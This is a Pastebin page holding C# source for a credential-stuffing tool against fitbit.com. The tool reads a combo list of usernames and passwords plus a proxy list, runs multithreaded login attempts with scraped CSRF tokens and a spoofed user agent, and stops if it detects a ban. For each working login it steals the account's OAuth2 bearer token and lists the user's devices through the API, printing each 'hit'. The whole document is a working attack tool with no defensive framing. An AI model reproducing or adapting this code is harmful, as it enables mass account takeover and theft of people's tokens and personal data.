Advertisement
Guest User

Untitled

a guest
Jul 24th, 2017
1,316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.70 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Text;
  8. using System.Threading;
  9. using System.Threading.Tasks;
  10. using crackingLib;
  11. using RestSharp;
  12. using RestSharp.Extensions.MonoHttp;
  13.  
  14. namespace Calix
  15. {
  16. class Program
  17. {
  18. private static bool running = true;
  19. private static int tries;
  20. static void makeRequest()
  21. {
  22. string[] combo = comboSystem.getCombo().Split(':');
  23.  
  24. string user = combo[0];
  25. string pass = combo[1];
  26. if (user != "INVALID" && pass != "INVALID")
  27. {
  28. var cookieJar = new CookieContainer();
  29.  
  30. var client = new RestClient("https://www.fitbit.com/login");
  31. // client.Proxy = new WebProxy(proxySystem.getProxy());
  32. client.UserAgent =
  33. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36";
  34.  
  35. client.CookieContainer = cookieJar;
  36.  
  37. var request = new RestRequest(Method.GET);
  38. var exec = client.Execute(request);
  39.  
  40. var csrf = HttpUtility.UrlEncode(
  41. usefulThings.captureBetween(exec.Content, "window.fitbitCsrfToken = '", "';"));
  42. var __fp = HttpUtility.UrlEncode(usefulThings.captureBetween(exec.Content,
  43. "<input type=\"hidden\" name=\"__fp\" value=\"", "\" /></div></form>"));
  44. var __sourcePage = HttpUtility.UrlEncode(usefulThings
  45. .captureBetween(exec.Content,
  46. "name=\"_sourcePage\" value=\"", "\" /></div></form>")
  47. .Split('=')[0] + "==");
  48.  
  49.  
  50. request.Method = Method.POST;
  51. request.AddParameter("application/x-www-form-urlencoded",
  52. string.Format(
  53. "login=Log+In&includeWorkflow=&redirect=&switchToNonSecureOnRedirect=&csrfToken={0}&disableThirdPartyLogin=false&email={1}&password={2}&rememberMe=true&_sourcePage={3}&__fp={4}",
  54. csrf, HttpUtility.UrlEncode(user), HttpUtility.UrlEncode(pass),
  55. __sourcePage, __fp), ParameterType.RequestBody);
  56. exec = client.Execute(request);
  57. tries++;
  58. if (exec.Content.Contains("banned"))
  59. {
  60. running = false;
  61. }
  62. Console.Title = tries.ToString();
  63. if (exec.Content.Contains("logout"))
  64. {
  65. request.Method = Method.GET;
  66. client.BaseUrl = new Uri("https://www.fitbit.com/user/profile/share");
  67.  
  68. exec = client.Execute(request);
  69.  
  70. var encodedId = usefulThings.captureBetween(exec.Content, "\"encodedId\":\"", "\",\"id");
  71. var oauth = usefulThings.captureBetween(exec.Content, "\"oauth2Token\":\"", "\",\"apiUrl\"");
  72.  
  73. Console.WriteLine(encodedId);
  74. Console.WriteLine(oauth);
  75.  
  76.  
  77. request.AddHeader("Authorization", string.Format("Bearer {0}", oauth));
  78.  
  79.  
  80. client.BaseUrl = new Uri(string.Format("https://web-api.fitbit.com/1/user/{0}/devices.json",
  81. encodedId));
  82.  
  83. exec = client.Execute(request);
  84.  
  85. if (exec.Content != "[]")
  86. {
  87. Console.WriteLine("Found Hit: " + user + ":" + pass + exec.Content);
  88. }
  89. else
  90. {
  91. Console.WriteLine("Found Hit: " + user + ":" + pass);
  92. }
  93. }
  94. }
  95. else
  96. {
  97. running = false;
  98. }
  99.  
  100. }
  101. static void Main(string[] args)
  102. {
  103. comboSystem.Load("./combos.txt");
  104. proxySystem.Load("./proxies.txt");
  105.  
  106.  
  107. Thread[] ts = new Thread[5];
  108.  
  109. for (int i = 0; i < ts.Length; i++)
  110. {
  111. ts[i] = new Thread(() =>
  112. {
  113. while (running)
  114. {
  115. makeRequest();
  116. }
  117. });
  118. ts[i].Start();
  119. }
  120.  
  121. for (int i = 0; i < ts.Length; i++)
  122. {
  123. ts[i].Join();
  124. }
  125.  
  126.  
  127. Console.Read();
  128. }
  129. }
  130. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement